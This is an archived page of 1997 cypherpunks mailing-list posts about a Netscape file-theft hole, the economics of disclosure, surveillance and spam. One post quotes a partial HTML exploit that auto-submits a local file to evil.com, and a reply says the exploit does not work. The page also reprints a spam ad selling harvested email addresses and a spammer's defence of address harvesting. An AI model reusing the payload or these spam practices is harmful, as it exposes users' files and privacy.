December 2003 - cypherpunks-legacy

Netscape Exploit
by Lucky Green 17 Dec '03

17 Dec '03

>Approved-By: aleph1(a)UNDERGROUND.ORG >Date: Sat, 14 Jun 1997 19:21:30 -0500 >Reply-To: root <root(a)BACKWATER.PBX.ORG> >Sender: Bugtraq List <BUGTRAQ(a)NETSPACE.ORG> >From: root <root(a)BACKWATER.PBX.ORG> >Subject: Netscape Exploit >To: BUGTRAQ(a)NETSPACE.ORG > >Here is a sample it isn't complete but you get the basic idea of what is >going on ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > ><BODY onLoad="daForm.submit()"> ><FORM > NAME="daForm" > ACTION="http://evil.com/cgi-bin/formmail.pl" > METHOD=POST> > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your >Harddrive"> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > >and so on and so forth... --Lucky Green <shamrock(a)netcom.com> PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm

2 1

e$: Skins vs. Shirts
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: Robert Hettinga <rah(a)shipwright.com> Mime-Version: 1.0 Precedence: Bulk Date: Sat, 14 Jun 1997 14:02:41 -0400 From: Robert Hettinga <rah(a)shipwright.com> To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: e$: Skins vs. Shirts At 10:28 am -0400 on 6/14/97, Adam Shostack wrote: > Are FAT file lists stored as files? > > On a Unix box, /. refers to the file containing directory > entries, the list of files in the directory. If there is an analogous > file on a dos box, you can explore. (Does the bug work on Unix? I've > heard it only works if java or livescript are turned on, so it hasn't > worried me enough to investigate.) All this reminds me of something Tim May, Eric Hughes, and others have said before. Once you've gotten to the point where loss of security equals, in a very literal sense, loss of money, the incentive to publicize any given security hole starts to go away. Adam, above, is speculating about the mechanics of a Netscape security hole, which, two years ago, would have gotten someone like Ian Goldberg a grand and a t-shirt, but probably only after they had published it on the net, just like Mssrs Goldberg and Wagner had to do, in order to get Netscape's attention. That included directions for how to replicate the problem. Back then, we wouldn't have been speculating about the mechanics of the hole, because people would be playing with it to see how it worked. As it is, latest hole was published in terms of its results only, and not its mechanics. Instead, those precious details were relased only to Netscape, and only for, NPR says, "an undisclosed sum". Lest we think of this as latter-day greenmail, we have to remember that greenmail actually had it's putative effect, which was to increase the returns to the shareholders by increasing the stock price. It was never fair to begrudge T. Boone Pickens the pound of flesh he extracted from companies like Phillips Petroleum, mostly because the pound he cut off was usually lard, anyway. Not to compare Netscape to a Pritikin candidate, of course. Nobody can see all the consequences of tens or hundreds of thousands of lines of code, and the very best way to solve the semantic problem that poses is the internet way, by swarming it to death. With that in mind, I expect that the next stage in this increasing security "price" escallation will be much more interesting. It won't be long before the first people who say anything about a new security hole will be people who have money stolen from them, and not much will be said by the people who discover those holes in the first place. And, of course, lots of those people probably won't be so virtuous in their use of what they figure out, either. We're about to enter a new era of parallel evolution, much like the relationship between cheeetahs and Thompson's gazelles, where a constant arms race makes predator and prey more efficient, excellerating evolution in both species. Now, I don't think this forgives people from publishing their source code, far from it. I expect that people selling financial cryptography and allied commercial products will still have to publish their source, or nobody will trust it enough buy it. I'm just saying that it will tend to be the victims, and probably not the next generation of "moneypunks", who will be announcing the failure of any given commerce application. So, instead being one of free shirts, the game will be one of payment in, um, skins. And, before long, there will be many more skins out there belonging to people who are spending money than the people who accidentally built the wallets with holes in them could ever pay in gre$enmail. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

7 10

Re: Impact of Netscape kernel hole
by geeman＠best.com 17 Dec '03

17 Dec '03

At 10:28 AM 6/14/97 -0400, Adam Shostack wrote: > > >| >Tim's post (although refuted by Marc) raises some serious issues since I >| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > > Are FAT file lists stored as files? not exactly. you cannot just open and read. you must jump hoops; but does the nscp hole allow execution of arbitrary code? that would be much worse .... > > On a Unix box, /. refers to the file containing directory >entries, the list of files in the directory. If there is an analogous >file on a dos box, you can explore. so, no: not unless you can write your own foreign code and run it on the victim pc. (Does the bug work on Unix? I've >heard it only works if java or livescript are turned on, so it hasn't >worried me enough to investigate.) > >Adam > > > >-- >"It is seldom that liberty of any kind is lost all at once." > -Hume > > > >

1 0

We need more surveillance--a morality play about terrorism
by Tim May 17 Dec '03

17 Dec '03

[Some speculation about the current American attitudes about terrorism, about the changes in civil liberties to deal with the "terrorist threat," and even some comments about Jim Bell and his predicament.] I've been watching an HBO movie, "Path to Paradise," about the bombing of the World Trade Center in February 1993. It's quite well-done, as most HBO movies of this sort are. However, it is fairly heavy on a propaganda message which may give some insights into the likely changes in political freedoms in the United States. Some examples: * repeated examples of how the cops and FBI _could have_ arrested the Arabs if only the Constitution could be reinterpreted to allow arrests for possession of political pamphlets, guns (legally owned), etc. * "You mean Islamic radicals are free to preach their message of hate and violence? Unbelievable!" (This is a paraphrase...there were several such opinions expressed, where FBI managers express outrage that such things are permitted in the U.S.) * The niceties of getting wiretap orders were treated as ways to coddle criminals. * The ease with which citizen-units and others can order chemicals and suchlike was shown graphically, with the subtext being that this easy ordering ought to be stopped. (This was clear from the dramatic presentation.) * Unlike many such movies on criminal matters, there was very little discussion of civil rights, of the right of persons to move about freely, and so on. In short, a morality play about the hazards of letting people plot their crimes without proper surveillance. Not to sound conspiratorial, I suspect that this changed climate is consistent with the views of the FBI and White House, and that HBO is playing some role (unofficially, of course, and maybe not even consciously) in this new emphasis. (In the same way that the Rambo movies, to name just one example, resonated with American popular opinion in the Reagan era.) Speculation: This may also have something to do with the "no bail" predicament Bell now faces. The "stink bomb" he allegedly used in an IRS building could be Sarin gas, putatively, given the claims that he had Sarin precursors. Now we may mostly think he's harmless, but the combination of this new "let's get tough on terrorist plotters" mood, combined with the chemical stuff they found, his calls for killing of government agents, his apparent willingness to use chemical bombs (so the claim goes), all add up to a "get tough" outcome. Whether it stays this way past his arraignment in a few weeks is of course unknown. (Any magistrate or DA who watches this HBO movie might be wondering if releasing Bell would be turning him loose to launch a Sarin gas attack on his Fed enemies. I don't think this is a plausible threat, knowing what I know of Bell.) Something to think about. Between the World Trade Center bombing and OKC, there seem to be more people saying that certain civil liberties need to be given up to ensure security. Where have we heard this before? (Hint: back in Ben Franklin's day.) --Tim May, who's sorry he missed the display of firepower at the physical meeting today There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

1 0

THE BEST DEAL AROUND.... PERIOD!
by 52622216＠compuserve.com 17 Dec '03

17 Dec '03

{Removal instructions at bottom... } <><><> Attention Internet Marketers ... Look no further. <><><> 30 (thirty) MILLION PLUS E-MAIL ADDRESSES - ONLY US$149! (Please Note: Introductory offer - we encourage you to act soon.) WorldWide Marketing Group is pleased to finally offer to the direct marketer, the culmination of its intensive 6 month long project in compiling the single largest e-mail address list available anywhere - over 30 million e-mail addresses free of duplicates, one per line and alphabetically sorted - for only US$149! This is for real... there is NO catch! This massive list of AOL, Compuserve, Prodigy, Genie, Delphi, Microsoft Network and general Internet addresses, is split into 120 easily manageable ZIP files (unzip utilities included on CD) of 250,000 addresses each and is delivered to you on CD-ROM via regular mail. Sorry, but the sheer size of this list makes it unfeasible to deliver via diskette or allow downloading via FTP. The address files themselves consist of 1 address per line and are in standard ASCII text format - ready right away for use with any of the popular bulk e-mail packages available today. Also, this list is CLEAN! There are NO duplicates, NO embedded spaces, NO trailing or embedded white noise characters, NO garbage addresses with more than one '@' character, NO embedded parentheses '(' or ')', NO 'Postmaster' addresses, NO addresses beginning with non-valid characters (..addresses must begin with 0-9 or a-z), and all are in lower-case. The list itself is *not* categorized or targeted by any geographic region or demographic in any way. It is simply a HUGE general list sorted in alphabetical order for the best price on the internet! Indeed, this is absolutely the *best* offer around for the direct marketer, and will finally put the little guy on even ground with even the biggest bulk e-mailers! Bulk e-mail is still in its infancy and is the new wave in cost-effective global marketing. This huge list offers a whole world of vast potential sales for you and your products - get on board now before you find yourself left behind. We wish you success and we'll see you at the top! To order in a secure fashion online via credit card (VISA/MasterCard/AMEX) just go to: http://americapro.com/worldwide/ Or to order via regular mail, please send bank draft, money order (..sorry, no personal or business cheques please) or your credit card information to: Worldwide Marketing Group Box 48029 Bedford, NS Canada B4A 3Z2 (Please allow up to 1.5 to 2 weeks for delivery.) Thank you very much and sorry for the intrusion... Sincerely, Worldwide Marketing Group worldwide(a)writeme.com worldwide(a)savetrees.com (for fastest response, send message to both) P.S: If you have received this message more than once, we apologize. Our mail program accidentally deleted our remove list. For removal from any future mailings, please send an e-mail with REMOVE in the subject field to : sandk(a)answerme.com We regret that we are unable to supply a telephone contact number. Due to the harassing calls we have received from anti-bulk e-mailers, we must withhold our phone number. We apologize for the inconvenience.

1 0

Re: Responses to "Spam costs and questions" (long)
by Ross Wright 17 Dec '03

17 Dec '03

On or About 6 Jun 97 at 23:41, Dr.Dimitri Vulis KOTM wrote: > If you set up your mailbox to accept e-mail promiscuously from > anyone, then anything sent to it is "consentual". Exactly. And if you put an e-mail address on a web-site, it's fair game. You consent to have me, at least, comment. > The onus is on the recipient to filter out what they don't want (or And not the onus of the Government to save us from the nasty bad evil spammers. > to "filter in" only what they want, which is how I think we'll end > up). Such filtering takes less time+effort than "repeated > cease-and-desist notes". Like any spammer listens to those anyway. I was sent so many of those when I started, it didn't scare me at all. But now I'm a reformed, kinder, gentler spammer. Most times they don't even know they've been spammed. On or About 7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote: > talk about this (and I do hope Ross will will this of interest!), > let's You bet. I'm bummed that I missed out on this whole conversation, it's a week old now. On or About 7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote: > Also instead of just building the biggest possible list of e-mail > addresses, they build a targeted database, keeping track where a > particular e-mail address was found. That's right. I've got different lists for the different places that I harvested them from. > Suppose a person subscribes to > a "porsche owners" mailing list, and goes to an investment- related > channel on one of the IRC servers. In no time he'll be getting "junk > e-mail" related to the interests he expressed - possibly even saying > "I'm writing you because I saw you on the #invest channel on > Tuesday, and I want to tell you about this hot new penny stock" > > Left to itself, the market will stabilize and the occasional > unsolicited bulk e-mail will be even less of a nuisance than it is > now. Please. I beg all of you just to let it settle it's self. No regulation is needed, or wanted. It's not that bad. On or About 7 Jun 97 at 13:37, Declan McCullagh wrote: > Such a law would be unconstitutional, I believe, and unjust. It's > compelled speech: the government forcing you to say something. I don't want anyone telling me what I have to put into the subject field of my bulk e-mailings. > Depending on how it's worded, it could also impact core political > speech, something the courts generally don't like. > > -Declan On or About 8 Jun 97 at 5:36, Declan McCullagh wrote: > I don't think commercial speech should be treated as second-class > speech. But my position is hardly surprising. > Declan, thanks. You are right that speech is speech. On or About 9 Jun 97 at 23:45, Kent Crispin wrote: And here's where it degrades into discussions about ads and sales tactics and all that stuff that the general public is so frightened of. It's like salesmen are the reviled, untouchables in our society. Needed but hated. These topics always fall to the level of the morals of given marketing strategies. That's not what this is about. It's about freedom to tell people about a product in any way that you can. > > When a tobacco company says in an ad, "Joe Camel is cool", what > > kind of contractual obligations does it assume? > > None. I did not say that all ads were part of a contract. > > > Have you ever bought a used car, Kent? Have you seen the language > > in the contract that throws out whatever promises the saleguy made > > that are not a part of the contract? > > Yes, but never from a used-car lot, always from people I know. I > have =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795

1 0

Re: Impact of Netscape kernel hole
by Ross Wright 17 Dec '03

17 Dec '03

On or About 13 Jun 97 at 18:35, Tom Weinstein wrote: > week for 4.0. A fix for 3.x will follow once we have 4.0 fixed. Saw this post to Cypherpunks. I hate to sound less than savvy, but I use 2.02. You guys are gonna help us who refuse to upgrade, right. Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795

7 7

Netscape Update
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Robert Hettinga wrote: > All this reminds me of something Tim May, Eric Hughes, and others have said > before. Once you've gotten to the point where loss of security equals, in a > very literal sense, loss of money, the incentive to publicize any given > security hole starts to go away. The Netscape PR department is no doubt preparing to spin the "bug fix" into a "major update." The fact of the matter is, the software does exactly what it was designed to do. The fact that those who are "out of the loop" found out how to use that designed feature does not make it a "bug." When the list got spammed with email from 10,000 Laker fans named "Bubba," I blasted plaidworks.com for their rudeness in trying to place all the blame on "hackers" when the fact was that they left their system wide open to abuse for the sake of convenience and profit. Similarly, the government and corporations want systems designed to allow them access to all available information passing through the internet system and then cry "abuse" or "security bug" when individuals discover how to use the design to their advantage. Calling the Netscape feature a "bug" merely serves to draw attention away from the fact that the software was intentionally designed in order to facilitate snooping (ala Clipper chip?) and that indicates that there have been people who have known how to take advantage of the feature since its implementation. Do the people who instituted the design and development of this snooping feature all have "Good Guy" stamped on their forhead? Sure they do... TruthMonger

2 1

Re: We need more surveillance--a morality play about terrorism
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Tim May wrote: > I've been watching an HBO movie, "Path to Paradise," about the bombing of > the World Trade Center in February 1993. It's quite well-done, as most HBO > movies of this sort are. > > However, it is fairly heavy on a propaganda message which may give some > insights into the likely changes in political freedoms in the United > States. > In short, a morality play about the hazards of letting people plot their > crimes without proper surveillance. > > Not to sound conspiratorial, I suspect that this changed climate is > consistent with the views of the FBI and White House, and that HBO is > playing some role (unofficially, of course, and maybe not even consciously) > in this new emphasis. The movies have long been a source of propaganda for LEA's of all types and descriptions, as well as the military. You want co-operation? You want to get bargin rates on access to city (or military) facilities, streets, vehicles, etc? If so, then you'd better be prepared to present an "acceptable" script to those who make the decisions. The military and LEA's know that they are in a position to save movie producers millions of dollars through their co-operation and producers know that an acceptable script is the ante that may well make the difference between their movie being produced or canned. Cop shows are the rage on TV at present, and if you can find a major force of real-life cops that call everyone "Sir" and treat them like humans, I'll kiss your ass, but that's what we see on the Tube, anyway. It would cost a fucking fortune to produce a similar show which reflected the reality of how LEA's treat the citizens. I have a friend who was casting director for "Miami Vice" and I recall her telling me at an early point in the series that they were being forced, for financial reasons, to "clean up" the scripts so as to make the cops more sympathetic and reputable characters. Face it, we live in TV World. We didn't get an actor as our President by "accident." We elect "sound bytes" and "charisma." We elect "plausible deniability" and "non-smoking guns." We are sold fear and violence both as news and entertainment, and we "buy" it as our reality. Then our fear is used to sell us products such as loss of privacy and freedom. This is the consumer age, and it is driven by advertising and profit. In the Media Age the marketing term "find a need and fill it" has become "_create_ a need and fill it." There's big money in fear and violence. TruthMonger

1 0

Re: Netscape Exploit
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Tom Weinstein wrote: > Lucky Green wrote: > > > > >Here is a sample it isn't complete but you get the basic idea of what > > is > > >going on > > ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> ... > Yeah, that's pretty cool. Too bad it doesn't work. If you wanted a version that works you should have checked out the RCMP site that one of the Truth Mongers (or spin-offs) pointed to on the list a while back. It had a nifty bit of code which showed you the contents of your own hard drive and grabbed a copy for their own use. There was also a site on sympatico.ca which had the same code, only the link read "Click here to read the Whitehouse hard drive." If you followed further links on the site some would take a long time to load and if you paid attention you could guess that your hard drive was being accessed. I turned a friend onto the files I saved from the sites and I assume he hacked at least one of them to get the executables that they were running since he bought me a case of Budweiser for sharing the information with him. I have noticed in surfing a variety of hacker URLs that sometimes it takes an awfully long time to load what turns out to be a fairly simple screen and there is invariably a lot of disk activity going on in these instances. I don't worry about what may be taking place since I bought a used computer specifically for internet cruising so I can enjoy myself instead of fretting about security issues. I put a lot of files and directories on my hard drive with names like "Offthepigs" and "assass.plot" and cruised around the RCMP site from an anonymous account. I used the name of a local cop as the ostensible owner of the machine and author of the files. (I _do_ hope they were paying attention!) There was an article on computer security on the RCMP site which spoke quite openly about the potential of technology in general and remailers in specific for mounting sting operations. (I will try to dig up the URL for it and pass it along. It should be in the list archives too.) ~~~~~~~~~ Not a cop ~~~~~~~~~

1 0